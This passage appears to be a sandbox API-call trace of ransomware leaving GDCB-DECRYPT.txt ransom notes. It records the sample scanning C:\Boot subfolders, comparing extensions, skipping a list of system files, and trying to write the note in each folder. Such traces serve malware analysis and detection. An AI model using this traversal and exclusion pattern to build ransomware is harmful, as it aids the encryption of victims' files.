(lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.326] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.326] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.326] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.326] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.326] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.326] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0135.326] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0135.326] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0135.326] lstrcatW (in: lpString1="C:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0135.326] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.326] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.326] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.326] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.327] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.327] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.327] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0135.327] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0135.327] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.327] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.327] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.327] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.327] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.327] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0135.327] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0135.327] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.327] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.327] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.327] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.327] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt" [0135.327] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0135.327] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.327] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.327] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.327] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.327] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned="C:\\Boot\\sv-SE\\memtest.exe.mui" [0135.327] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0135.327] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.327] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.327] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.327] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.327] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sv-SE\\\\GDCB-DECRYPT.txt") returned 31 [0135.327] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sv-se\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.328] GetLastError () returned 0x50 [0135.328] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.328] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0135.328] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0135.328] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.328] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.328] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.328] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.328] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.328] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0135.328] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.328] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0135.328] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0135.328] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.328] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.328] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.328] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.328] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt" [0135.329] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.329] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0135.329] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0135.329] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0135.329] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.329] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.329] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.329] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.329] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.329] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned="C:\\Boot\\sv-SE\\memtest.exe.mui" [0135.329] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.329] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0135.329] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0135.329] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.329] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.329] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.330] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.330] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0135.330] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0135.330] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0135.330] lstrcatW (in: lpString1="C:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0135.330] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.330] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.330] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0135.330] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0135.330] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.330] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.331] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.331] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.331] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.331] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.331] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.331] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.331] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0135.331] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0135.331] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.331] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.331] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.331] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.331] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt" [0135.331] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0135.331] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.331] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.331] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.331] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.331] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned="C:\\Boot\\tr-TR\\memtest.exe.mui" [0135.331] lstrlenW (lpString="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0135.331] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.331] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.331] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.331] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.331] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\tr-TR\\\\GDCB-DECRYPT.txt") returned 31 [0135.331] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\tr-tr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.332] GetLastError () returned 0x50 [0135.332] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.332] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0135.332] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0135.332] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7980 [0135.332] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.332] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.332] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.332] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.332] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.332] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.332] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.332] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0135.332] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.332] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0135.332] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0135.332] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.332] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.332] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.332] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.332] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt" [0135.333] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.333] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0135.333] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0135.333] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0135.333] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.333] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.333] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.333] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.333] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.333] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.333] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned="C:\\Boot\\tr-TR\\memtest.exe.mui" [0135.333] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.334] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0135.334] lstrlenW (lpString="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0135.334] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.334] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.334] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.334] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.334] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1 [0135.334] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1 [0135.334] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="uk-UA" | out: lpString1="C:\\Boot\\uk-UA") returned="C:\\Boot\\uk-UA" [0135.334] lstrcatW (in: lpString1="C:\\Boot\\uk-UA", lpString2="\\" | out: lpString1="C:\\Boot\\uk-UA\\") returned="C:\\Boot\\uk-UA\\" [0135.334] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.335] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.335] lstrlenW (lpString="C:\\Boot\\uk-UA\\") returned 14 [0135.335] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="*" | out: lpString1="C:\\Boot\\uk-UA\\*") returned="C:\\Boot\\uk-UA\\*" [0135.335] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.335] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.335] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.335] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.335] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.335] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned="C:\\Boot\\uk-UA\\bootmgr.exe.mui" [0135.336] lstrlenW (lpString="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0135.336] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.336] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.336] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.336] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.336] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt" [0135.336] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0135.336] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.336] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.336] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.336] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.336] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\uk-UA\\\\GDCB-DECRYPT.txt") returned 31 [0135.336] CreateFileW (lpFileName="C:\\Boot\\uk-UA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\uk-ua\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.337] GetLastError () returned 0x50 [0135.337] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.337] lstrlenW (lpString="C:\\Boot\\uk-UA\\") returned 14 [0135.337] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="*" | out: lpString1="C:\\Boot\\uk-UA\\*") returned="C:\\Boot\\uk-UA\\*" [0135.337] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.337] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.337] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.337] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.337] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.337] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.337] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.337] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.337] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned="C:\\Boot\\uk-UA\\bootmgr.exe.mui" [0135.337] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.338] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0135.338] lstrlenW (lpString="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0135.338] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.338] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.338] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.338] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.338] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="GDCB-DECRYPT.txt" | out: 